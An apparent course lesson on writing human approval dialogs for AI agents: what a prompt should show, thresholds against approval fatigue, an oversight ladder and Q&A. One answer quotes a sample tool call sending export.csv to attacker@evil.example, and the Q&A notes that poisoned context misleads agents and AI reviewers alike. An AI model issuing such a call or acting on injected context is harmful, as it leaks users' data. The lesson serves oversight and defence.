Keeping a human in the loop
A human approval step is your strongest control and the easiest one to ruin. The difference is entirely in how you write the dialog box.
In 60 seconds
Keeping a human in the loop
A human approval step is your strongest control and the easiest one to ruin. The difference is entirely in how you write the dialog box.
- "The agent wants to perform an action. Allow?"
- Appears forty times an hour.
- No way to see details.
- The safe answer is unclear, so people pick the fast one.
- Creates a record of "oversight" that is worth nothing.
- "Send ₹42,000 to vendor-payments@unknown-domain.example?"
- Appears rarely, only for real risk.
- Shows the exact arguments and the source that triggered it.
- Refusing is one click and clearly safe.
- Flags the unusual part in colour.
What every good approval shows
- 1
What exactly will happen
The real values. Amount, recipient, file path, row count, target branch. Never "an action". - 2
Why the agent wants it
One sentence of reasoning, and crucially the source: "because the ticket said so" is a very different story to "because you asked". - 3
Can it be undone
Say it plainly. "This cannot be undone" changes behaviour more than any amount of styling. - 4
What is unusual
Highlight the surprising part. New recipient. Amount above the usual range. First time this tool has been used. That highlight is where a human's judgement actually gets applied.
Approval fatigue is a real failure mode
- Set thresholds: refunds under ₹500 go through, above that they stop.
- Allow-list the routine: known vendors, internal recipients, existing branches.
- Batch the boring: one approval for twelve similar low-risk actions, individually listed.
- Escalate on novelty: a first-of-its-kind action always asks, regardless of size.
The oversight ladder
| Pattern | When it fits |
|---|---|
| Approve every action | New agent, high stakes, first two weeks in production |
| Approve risky actions | Steady state for most useful agents |
| Approve, with a timeout that cancels | Long-running jobs where silence must mean no |
| Act now, notify immediately | Reversible, low value, high volume |
| Act now, review the log weekly | Read-only and internal work only |
Watch and read more
Lab
Two approval dialogs, tested on a real human.
The problem
You are done when
Hard questions
Try to answer before you reveal. If you can answer these, you understood the lesson.
Q1Why must the dialog be built from the tool arguments rather than the model's description of what it is doing?Reveal
to=attacker@evil.example, attachments=[export.csv] is what will happen. Render from the arguments the executor received, in your own code, and the human sees the action rather than a story about it.Q2Users approve 100% of your prompts. Two opposite conclusions are possible. How do you tell which you are in?Reveal
Questions people ask
Does human review actually catch attacks?
It catches the ones that look strange, which is most of the damaging ones — an unfamiliar recipient, an unusual amount, a tool that has never fired before. It misses attacks that look completely routine, which is why it sits alongside least privilege rather than replacing it.
How do I handle approvals for agents running at 3am?
Either the agent waits, or that class of action is not allowed to run unattended. "Nobody is awake" is not a reason to lower the bar — it is a reason to narrow what runs overnight.
Can another AI approve instead of a human?
For quality, sometimes. For security, no. The reviewing model reads the same poisoned context. Use code-based rules for automated gates, and reserve human judgement for the genuinely irreversible.
Users are complaining about too many prompts. What do I cut?
Look at your logs: which approvals have been granted 100% of the time for months? Those are the ones to replace with a code rule and an allow-list. Keep the ones people have ever refused — those are the ones doing real work.
Lesson test
5 questions. Get 3 right (60%) to pass and complete this lesson.
Sign in with your phone number to take the test and save your progress